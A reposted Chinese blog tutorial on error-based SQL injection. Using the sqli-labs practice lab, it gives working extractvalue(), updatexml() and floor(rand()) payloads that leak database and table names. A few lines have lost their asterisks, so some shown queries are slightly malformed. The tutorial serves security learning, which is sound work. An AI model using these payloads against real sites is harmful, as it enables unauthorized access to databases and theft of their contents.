0


SQL注入之报错注入(floor、extractvalue、updatexml)

一、报错注入分类

    floor()报错注入

    extractvalu()报错注入

    updatexml()报错注入        

    name_const()报错注入

    jion()报错注入

    exp()报错注入

    还有很多,此处就讲前三个。

二、涉及到的函数

    concat:返回结果为连接参数产生的字符串

    例如:concat(~,(hello world))

    就会返回   ~hello word

三、什么是报错注入

    报错注入是一种页面响应方式。响应流程如下:

  ​​![](https://img-blog.csdnimg.cn/cc2c2702d55b4d3b9cd883eb343cb44b.png)

简单理解为:用户访问服务器发送id信息,服务器返回正确的id数据。

                  用户发送错误信息,服务器返回报错提示。

构造查询语句,让错误信息中夹杂可以显示数据库内容的查询语句。从而放会报错提示中包含数据库中的内容。

四、现象(sql-labs靶场less5)(字符型)

可见,正确显示You are in....

错误,回显错误信息。

五、通过写错单词报错出数据库名

(less5字符型,字段数为3)

通过写错,database(),报错,从而回显数据库名。​​​​​​

六、extractvalue()报错注入

函数extractvalue()包含两个参数

extractvalue(XML_document,XPath_string)

第一个参数XML文档对象名称(笔者理解为文件名)第二个为查询文件的路径

文件路径:基本都以 / 开头 。

所以extractvalue(),第二参数(路径)以 ~ 符号开头,就会使其报错。

a、实操

一、查数据库名

/?id=5' and extractvalue(1,concat('~',(select database()))) --+

二、查表名

/?id=5' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))) --+

使用group_concat()报出全部表。

?id=5' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

接着后面都差不都。

七、updatexml()报错注入

a、updatexml函数

函数updatexml(XML_document,XPath_string,new_value)包含三个参数

    第一个参数:XML_document是string格式,为XML文档对象的名称,列入Doc

    第二参数:XPath_string是路径,XPath格式的字符串。

    第三个参数:new_value,string格式,替换查找到的符合条件的数据

b、updatexml倒错原理

    通extractvalue(),输入错误的第二个参数,即路径错误(把  /  缓存  ~)

c、实操

一、查数据库

?id=1' and updatexml(1,concat('~',(select database())),3) --+

二、表名

?id=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)),3) --+

使用group_concat()全部爆出

后面一样。

8、floor报错注入

a、涉及到的函数

rand()函数:随机返回0~1间的小数

floor()函数:小数向下取整数。向上取整数ceiling()

concat_ws()函数:将括号内数据用第一个字段连接起来(和concat差不多)

group by:分组语句,常用于结合统计函数,根据一个或多列,对结果进行整合

as:别名

count函数:汇总统计数量

limit:这里用于显示指定行数

b、rand()

** >select rand();**

**>select rand()2*

计算结果在0-2之间

>select rand() from users; (users表有多少列,就输出几个随机数)

** c、floor()函数:小数向下取整**

**>select floor(rand()2);*

** >select floor(rand()2) from information_schema.tables;*

d、concat_ws()函数:将括号内数据用第一个字段连起来

select concat_ws('',2,3) 使用连接2,3

select concat_ws('~',(select database()),floor(rand()*2)) from users;

e、as 别名 group by 分组

select concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a;

把绿色部分取一个别名 a ,在使用group by 对a进行分组

      f、count(*) 统计数量

但是多执行几次,可能会报错。

select concat_ws('~',(select database()),floor(rand(0)*2)) as a from users group by a;

不管执行多次报错

select concat_ws('~',(select database()),floor(rand(1)*2)) as a from users group by a;

永久不会报错,回显也不会变

f、流程

数据库

?id=1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2))  as a from information_schema.tables group by a--+

表名

/?id=1' union select 1,count(*),concat_ws('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))  as a from information_schema.tables group by a--+

后面列名、字段名都一样。

标签: 数据库 安全 sql

本文转载自: https://blog.csdn.net/qq_60463414/article/details/126043495
版权归原作者 凌晨两点半992 所有, 如有侵权,请联系我们删除。

“SQL注入之报错注入(floor、extractvalue、updatexml)”的评论:

还没有评论